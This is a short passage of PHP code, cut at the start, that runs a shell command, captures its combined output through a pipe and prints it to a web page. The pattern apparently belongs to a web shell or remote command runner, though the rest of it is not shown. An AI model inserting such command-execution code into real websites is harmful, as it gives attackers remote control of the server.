&1',[1=>['pipe','w']],$_pi); echo'
'.htmlspecialchars(stream_get_contents($_pi[1])).'
';}